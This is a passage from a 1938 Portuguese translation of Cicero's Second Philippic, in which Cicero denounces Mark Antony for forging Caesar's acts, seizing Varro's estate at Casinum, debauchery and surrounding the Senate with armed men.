mesmo tio? aqui está ele presente; que temeste? entendo que temeste não o poder negar sem perder a vida. Carregaste de afrontas aqueles a quem devias honrar como a teu pai, se em ti houvesse piedade alguma; repudiaste a sua filha, e recebeste outra que primeiro examinaste; ainda isto não foi o mais; infamaste de adúltera a uma mulher honestíssima; pode haver mais do que isto? Ainda te não deste por satisfeito; atreveste-te a dizer em presença de um numerosíssimo congresso do Senado, em que estava sentado teu tio, que a causa de estares contra Dolabella era por se ter ele oferecido a tua irmã, para cometer com ela adultério. Quem poderá distinguir qual destas coisas é a mais enorme, se o desaforo em falar assim no Senado, se a perversidade contra Dolabela, ou a desonestidade em presença de teu tio, e a tirania em falar tão sórdida e impiedosamente contra aquela infeliz?

39. Mas voltemos aos escritos. Que informação fizeste tu? As ordenações de César confirmou-as o Senado pelo bem da paz; a saber aquelas que César fez, não aquelas que António diz que César fizera. Donde brotam agora estas? quem é o seu autor? se são falsas, por que motivo se aprovam? se verdadeiras porque se vendem? Mas tinha-se assentado que, depois das calendas de Junho, reconhecesses em conselho as Actas de César; que conselho houve? a quem jamais convocaste? que calendas de Junho esperaste? porventura aquelas em que, tendo decorrido pelas colónias dos soldados veteranos, voltaste escoltado de gente armada. Que ilustre visita a que fizeste nos meses de Abril e Maio, quando te empenhaste por conduzir uma colónia a Cápua? Bem sei como dali saíste ou quasi não saíste, nem ignoro que ameaças aquela cidade. Praza a Deus que intentes coisas com que se dê cabo deste "quasi". E que célebre foi aquela tua peregrinação? Para que publicarei os teus aparatosos banquetes e as tuas desenvoltas beberronias? o prejuízo destes excessos a ti te pertence, o dos outros a nós. Tivemos por uma grande perda da República que os campos de Campânia se isentassem de tributos, para se darem aos soldados, e estes mesmos campos são os que repartiste pelos que contigo banqueteiam e jogam; quero dizer, Padres Conscritos, que estabeleceu na Campânia os comediantes, homens e mulheres. Para que é lamentar já o campo Leontino? estes territórios da Campânia e do Leontino, em outro tempo patrimônio do povo romano, lhe rendiam muito, por causa da sua fertilidade. Deste ao médico três mil jugadas, como se te houvesse dado saúde; e ao mestre retórico, como se te pudesse fazer eloquente, duas mil. Porém tornemos à jornada da Itália.

40. Levaste uma colónia a Castelnúcio, onde César tinha já introduzido outra. Na verdade me consultaste sobre os negócios de Cápua, mas eu te daria a mesma resposta nos de Castelnúcio. Podias com justiça levar uma colónia onde já a havia? disse-te que se não podia introduzir nova colónia em um território onde já se tinha felizmente conduzido outra, e acrescentei que se podiam alistar novos habitadores; mas tu insolentemente elevado, transtornando o direito dos prognósticos, fizeste marchar para Castelnú-cio uma colónia, para onde se havia levado outra poucos anos antes, para veres ali arvorado o teu estandarte, para cortares aqueles arredores com o arado, com cuja relha quasi roçaste as portas de Cápua, diminuindo deste modo o território de uma tão florescente colónia. Tendo assim confundido os direitos sagrados, voaste a Cassino, dando sobre as terras de M. Varrão, homem santíssimo e intégerrimo; com que direito? com que cara o fizeste? com a mesma, dirás, com que invadias herdades de L. Rúbrio, os prédios de L. Tursélio, e inumeráveis outras propriedades. Se o fizeste como inventariante, valha o inventário, valham os registos de César, e não os teus; aqueles com que devias fazer, e não aqueles com que te libertaste. Quem dirá que a terra de Varrão no Cassino foi vendida? quem presenciou esta almoeda? quem ouviu a voz do pregoeiro? Dizes que mandaras a Alexandria quem a comprasse a César; sim, porque esperar que ele dali voltasse era coisa que custava muito. Quem ouviu nunca que dos bens de Varrão se desviasse coisa alguma? ninguém houve que tivesse quem tanto se interessasse pelo seu bem. E que dirás se constar que César te escreveu, para que lhos desses? há expressões em que caiba semelhante desaforo? Desvias um pouco essas espadas que estamos vendo, e conhecerás que quem te fez senhor desses bens, mais é o teu atrevimento do que a venda de César, pois não só o proprietário te desapossaria deles, mas qualquer seu amigo, hóspede ou procurador.

41. E que avultado número de dias não gastou ele naquela quinta com a maior infâmia! Desde as nove horas da manhã se entrava a beber, a jogar e a vomitar! Infelizes casas! que diferente dono é o que agora tendes! posto que não sei como lhe podemos chamar dono; mas enfim quanto dessemelhante era quem as possuía! M. Varrão as teve por gabinete dos seus estudos, e não por lupanar de torpezas. Que era que naquela quinta se dizia, meditava e escrevia? os direitos do povo romano, os antigos monumentos, todas as noções da ciência e doutrina; mas depois que tu foste o seu inquilino (porque dono o não és) tudo atroavam vozes de beberrões, os pavimentos se viam nadando em vinhos, as paredes molhadas, os meninos nobres metidos com rapazes dissolutos, e as mães de família entre más mulheres. Ali o vinham visitar os de Aquino e Interana; a ninguém se concedia entrada; e com razão, porque com um homem desonestíssimo não podiam ter lugar as atenções de honra. Quando dali partiu para Roma, chegando a Aquino, (por ser município populosíssimo) lhe saiu ao encontro um grande número de gente; porém ele atravessou a cidade metido em uma liteira coberta, como se fosse morto. Obraram nesciamen-te, mas alfim ficavam no caminho. E que fizeram os de Anágnia? com estarem desviados, o vieram buscar para o cumprimentar, como se fosse cônsul; não é coisa crível, mas foi corrente entre todos, que a ninguém saudou; advertindo que iam com ele dois de Anágnia, a saber, Mustela e Lacon, um dos quais é capataz dos gladiadores, e o outro dos bebedores. Para que mencionarei aqueles seus ameaços e afrontas, com que ultrajou os sidicinos? Vexou os de Puzzolo, por se terem posto debaixo da proteção de C. Cássio e dos Brutos; por certo que com muito juizo, afecto, benevolência e amor; e não com violência e armas, como se sujeitaram à tua, à de Basílio, e à de outros tais como vós, de quem ninguém quer ser patrono, quanto mais por patrono.

42. Que glorioso dia para teu colega, aquele em que na tua ausência mandou abater na praça aquele busto que costumavas venerar; com cuja notícia, segundo consta dos que te assistiam então, te caiu o coração aos pés; o que depois sucedeu eu não o sei; entendo que o temor e as armas foram móveis de tudo. Por certo que derrubaste de uma eminente glória a teu colega, fazendo que se parecesse contigo, mas também fizeste que se não parecesse consigo. E que tornada foi a tua a Roma? que confusão a de toda a cidade? Lembrados estávamos do desmarendo poder de Ciña, do despotismo de Sila, e de ver a César reinando; talvez havia alí armas, más andavam escondidas; porém que barbaridade houve tão enorme como a de marchar escoltado de um esqua drão cerrado com espadas e broquéis, e vermos pas sar liteiras carregadas de escudos; mas há tanto tempo que costumamos ver isso, Padres Conscritos, que já estamos calejados. Querendo eu ir ao Senado nas calendas de Janeiro, como estava determinado, possuído do temor, me pus logo em fugida. Mas ele, que não precisava do Senado, nem desejava que ninguém fosse ele, se alegrou com a minha retirada, e incontinenti obrou logo aquelas suas pasmosas faça-nhas, Sendo quem por interesse seu particular defendera assinaturas de César, prolongou o tempo de governo das províncias, e, sendo quem devia ser defensor das Actas de César, rescindiu as ordenações públicas e particulares de César. Em matérias pú blicas, nenhuma há mais grave que a lei, nem mais firme nas particulares, que o testamento. As leis, umas, aboliu-as sem as promulgar, outras as promulgou para as extinguir depois da promulgação. Anulou os testamentos, que sempre tiveram vigor, ainda sendo dos mais ordinários cidadãos. As estátuas e quaque César deixou ao povo em legado junto com as quintas, uns tranportou para os jardins de Pompeu outros para a casa de campo de Cipião.

43. Pretendes mostrar-te zeloso em honrar a memória de César, e que o amas depois de morto? Que maior honra podia ele conseguir do que teu altar, simulacro, dossel e sacerdote? Não é M. António sacerdote do deus Júljo, assim como outros o são de Júpiter, Marte e Rómulo? Por que razão pois não vás por diante? por que não dás princípio? elege dia, cuida em buscar quem te consagre; companheiros fomos, ninguém repugnará. Abominável homem; tanto por sacerdote de um tirano, como de um defunto. Pergunto mais: não sabes que dia é hoje? Ignoras que foi ontem o quarto dia nos jogos romanos no circo? e que tu mesmo propusestes ao povo que se celebrasse quinto dia em honra de César? Por que motivo consentimos se omita a honra que concedeste a César pela tua lei? Por que sofres tanto, que mul-tiplicando-se as preces, se profane um dia tão solene? Não quiseste se venerasse a sua estátua? ou lhe concede todas as honras divinas, ou lhe não dá nenhumas. Perguntar-me-ás se é do meu beneplácito que tenha altar, dossel e sacerdote? Digo, por certo, que nada disso me agrada. Mas tu, que defendes as Actas de César, que razão podes dar de manter umas, e não fazer caso de outras? talvez queiras nisto confessar que tudo medes pelo teu interesse, e não pelo seu merecimento? Que respondes enfim a isto? esperando estou pela tua eloquência; conheci a de teu avô, homem eloquentíssimo; mas tu ainda falas com mais clareza; ele nunca orou nú; e nós te vimos com peito de homem simples. Hás de dar a isto resposta? ou atrever-te nem siquer a abrir a boca? que poderás achar nesta minha oração a que creias que possas responder?

44. Mas deixemos o passado; defende este único dia, este único, digo, dia de hoje, este único ins-tante em que falo; por que motivo está o Senado rodeado de gente armada? por que razão me estão ouvindo teus beleguins com as espadas nuas? por que não estão abertas as portas ao Templo da Concórdia? por que introduzes no Foro homens de todas as na-ções e particularmente itireanos armados com flechas? Diz que é para segurança da sua pessoa; e porventura não vale mais morrer mil vezes do que não poder viver na própria cidade sem escolta de gente armada? mas crê o que digo: esta segurança não vale de nada; deves andar resguardado com o amor e a benevolência dos cidadãos e não com as armas. Tudo isto te tirará e arrancará a força do povo romano. Deus queira que seja, ficando nós vivos; mas de qualquer modo que te hajas conosco, enquanto usares desses conselheiros, crê-me que não durarás muito. Não faltam ao povo romano homens a quem entregar o leme da República; onde quer que eles estejam, ali está toda a fortaleza da República, ou, para melhor dizer, a mesma pública que até agora só se vingou, mas não restabeleceu. Muitos mancebos nobilíssimos tem por certo a República, prontos a defendê-la; retirem-se eles quanto quiserem com o intento da paz, que sem embargo disto a República os trará, para que a socorram. Mui suave é o nome de paz, e esta em sí mui saudável, porém há grande diferença entre a paz e a escravidão; a paz é liberdade tranquila, a escravidão o derradeiro de todos os males, que se deve repelir não só com a guerra, mas com a morte. E se aqueles nossos libertadores se ausentaram da nossa vista, contudo na sua acção nos deixaram o exemplo, fazendo o que ninguém fizera. Bruto declarou guerra a Tarquinio, com ser este rei, quando era lícito havê-lo em Roma. Sp. Cássio, Sp. Mélio, e M. Mânlio foram mortos, por se suspeitar que aspiravam a ser reis; estes são os primeiros que acometeram não a um homem que apetecia reinar, mas que actualmente reinava, cuja acção, além de ser ilustre e divina, nos está proposta por modelo, principalmente tendo eles conseguido uma glória que parece não cabe no céu, pois ainda que na própria consciência tenham o prêmio de tão gentil obra, contudo me persuado que um mortal não deve desprezar a imortalidade.

45. Lembra-te pois, M. António, daquele dia em que aboliste a dignidade de ditador; põe diante dos olhos a alegria do Senado e do povo romano; comparas isto com essa sofreguidão com que tu e os teus juntam dinheiro, e acabará de entender a diferença que há entre a glória e as riquezas. Mas assim como há pessoas que, por causa de algum achaque ou estupor dos sentidos, não sentem a suavidade dos manjares, assim os lascivos, avarentos e facinorosos não acham gosto na glória verdadeira. E se os aplausos te não podem excitar a obrar bem, nem siquer o temor te poderá retrair de tão infames obras? não tendes os juízos dos homens? se é por te achares ino-cente, eu te louvo; se por te confiares em forças, como não entendes o que deve temer quem desse modo não teme os juízos? E se não temes os sujeitos de valor, e cidadãos ilustres, porque as armas os impedem chegar à tua pessoa, crê-me que os teus mesmos te não sofrerão muito tempo; que vida é, pois, temer um homem dos seus mesmos de dia e de noite? salvo se tu os tens obrigados com maiores mercês do que César a alguns daqueles que o mataram ou tu tens com ele alguma comparação. Nele havia talento, discurso, memória, literatura, atenção, vigilância, expedição; obrou na guerra muitas coisas, ainda que calamitosas à República, contudo grandes. Pro-jectou reinar muitos anos; concluiu o que meditara com grandes trabalhos e perigos; afagou a multidão ignorante com donativos, com edifícios públicos, com medalhas e com banquetes; obrigou os seus com prê mios, e os adversários com uma semelhança de clemeneia. Para que é dizer mais? ora sofrendo, ora atemorizando, tinha já introduzido nesta cidade o costume de servir.

46. No apetite de dominar bem te posso comparar com ele, porém no demais não tens nenhuma comparação. Mas entre tantos males, como ele fez à República, este bem se encontra já ter aprendido o povo romano: quanto se deve fiar de cada um, a quem se há de entregar, e de quem se há de acautelar. Não consideras pois nisto? não entendes que para homens de valor lhes basta ter aprendido por experiência quão gentil em si, agradável pela utilidade e gloriosa pelo crédito é a acção de matar um tirano? porventura quando a ele o não sofreram, hão de tolerar-te a ti? Crê-me que daqui em diante à competência correrão a executar esta empresa, sem esperar as demoras da ocasião. Olha, te peço, António, para a República, considera de quem nasceste, não com quem vives; a mim trata-me como quiseres, a República con-graçando-te com ela. Mas de ti verás tu o que hás de fazer; quanto a mim, confessarei publicamente que defendi a República quando moço, e a não hei de desampará-la sendo já velho; que desprezei as armas de Catilina, e não temerei as tuas, antes com toda boa vontade oferecerei o corpo, se com a minha morte se puder recobrar a liberdade de Roma. Praza a Deus que enfim a mágoa do povo romano rompa no que já rompeu. Se há vinte anos disse neste mesmo templo que o varão consular não podia ter morte apresssada, com quanta mais verdade o direi de velho. Padres Conscritos, depois de me gozar do que tenho conseguido e obrado, só me resta desejar a morte. Duas coisas unicamente apeteço: primeira que, em morrrendo, fique o povo romano em sua liberdade, esta a maior mercê que me podem conceder os deuses imortais; segunda, que o fim de cada um seja conforme no seu merecimento para com a República.


 

Tradução do Padre Antônio Joaquim. Fonte: Atena Editora, 1938.

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